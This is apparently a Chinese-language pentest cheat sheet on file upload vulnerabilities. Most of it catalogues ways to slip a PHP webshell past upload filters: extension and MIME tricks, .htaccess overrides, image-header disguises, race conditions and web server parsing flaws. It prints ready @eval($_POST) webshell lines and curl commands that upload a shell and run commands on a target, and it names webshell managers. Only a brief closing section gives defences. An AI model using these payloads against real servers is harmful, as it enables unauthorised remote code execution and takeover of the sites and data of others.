文件上传漏洞

漏洞概述

文件上传漏洞允许攻击者上传恶意文件(如 Webshell)到服务器,从而获得服务器控制权。

OWASP Top 10: A01:2021
危害等级: ⭐⭐⭐⭐⭐


漏洞检测

基础测试

# 上传正常文件
test.txt -> 成功

# 上传脚本文件
test.php -> 成功/失败?
test.asp -> 成功/失败?
test.jsp -> 成功/失败?

# 查看上传目录
/uploads/
/files/
/attachment/

绕过技巧

1. 前端验证绕过

# 方法 1: 禁用 JavaScript
# 方法 2: 使用 Burp Suite 拦截修改
# 方法 3: 本地保存页面,修改验证逻辑后上传

2. MIME 类型绕过

# 原始请求
Content-Type: application/x-php

# 修改为
Content-Type: image/jpeg
Content-Type: image/png

3. 文件扩展名绕过

# 大小写混合
test.Php
test.PHP
test.pHp

# 特殊扩展名
test.php3
test.php4
test.php5
test.phtml
test.phar

# 双扩展名
test.jpg.php
test.png.php
test.php.jpg

# 点空格点绕过 (Windows)
test.php. . .
test.php. .
test.php.

# ::$DATA (Windows)
test.php::$DATA

4. .htaccess 绕过

# 上传 .htaccess 文件
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php

# 然后上传 test.jpg 内容为 PHP 代码

5. 文件头绕过

# 在 PHP 文件开头添加图片文件头
GIF89a
<?php phpinfo(); ?>

# 或使用 exif_imagetype 绕过
<?php
echo file_get_contents('shell.jpg');
echo '<?php @eval($_POST["cmd"]); ?>';
?>

6. 条件竞争绕过

# 快速上传并访问
for i in {1..100}; do
    curl -F "file=@shell.php" http://target.com/upload &
    curl http://target.com/uploads/shell.php?cmd=whoami &
done

7. 解析漏洞

Nginx 解析漏洞

# 上传文件
test.jpg

# 访问
/uploads/test.jpg/shell.php
/uploads/test.jpg%00.php

Apache 解析漏洞

# 上传文件
test.php.xxxxx

# 从右到左解析,如果 xxxxx 不认识,继续解析 php

IIS 解析漏洞

# IIS 6.0
/test.asp/shell.php
/test.asp;shell.php

# IIS 7.0/7.5 (FastCGI)
/test.jpg%00.php

工具检测

Burp Suite

# 使用 Intruder 模块
# Payload: 各种扩展名组合
.php, .php3, .phtml, .php5, .jpg.php

Upload-Bypass

# 自动化上传绕过工具
python upload-bypass.py -u http://target.com/upload -f shell.php

实战案例

案例 1: 简单扩展名过滤

# 过滤 .php
# 绕过:使用 .php5

curl -F "file=@shell.php5" http://target.com/upload

案例 2: MIME 类型 + 扩展名过滤

# 使用图片马
# 1. 准备正常图片
cp logo.jpg shell.jpg

# 2. 追加 PHP 代码
echo '<?php @eval($_POST["cmd"]); ?>' >> shell.jpg

# 3. 修改 Content-Type
curl -F "file=@shell.jpg;type=image/jpeg" http://target.com/upload

# 4. 配合 .htaccess 解析

案例 3: 二次渲染绕过

# 有些系统会对图片二次渲染,去除 PHP 代码
# 使用 GIF89a 文件头 + 代码分离

# 上传 shell.gif (包含 PHP 代码)
# 上传 .htaccess (设置解析)
# 访问 shell.gif 执行 PHP

Webshell 管理工具

中国蚁剑

# 连接 Webshell
# URL: http://target.com/uploads/shell.php
# 密码:cmd
# 然后执行命令、管理文件

冰蝎

# 加密 Webshell,绕过流量检测
# 需要对应版本的客户端

哥斯拉

# 支持多种脚本语言
# 加密通信,隐蔽性强

防御建议

  1. 白名单验证

    $allowed = ['jpg', 'jpeg', 'png', 'gif'];
    $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
    if (!in_array($ext, $allowed)) {
        die('Invalid file type');
    }
  2. 重命名文件

    $new_name = uniqid() . '.jpg';
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name);
  3. 设置执行权限

    # 上传目录禁止执行 PHP
    # Apache .htaccess
    <Directory "/uploads">
        php_flag engine off
    </Directory>
    
    # Nginx
    location /uploads {
        location ~ \.php$ {
            deny all;
        }
    }
  4. 文件内容检查

    $image_info = getimagesize($_FILES['file']['tmp_name']);
    if ($image_info === false) {
        die('Invalid image');
    }
  5. 使用云存储

    • 将文件存储到 OSS/S3
    • 与 Web 服务器分离

参考链接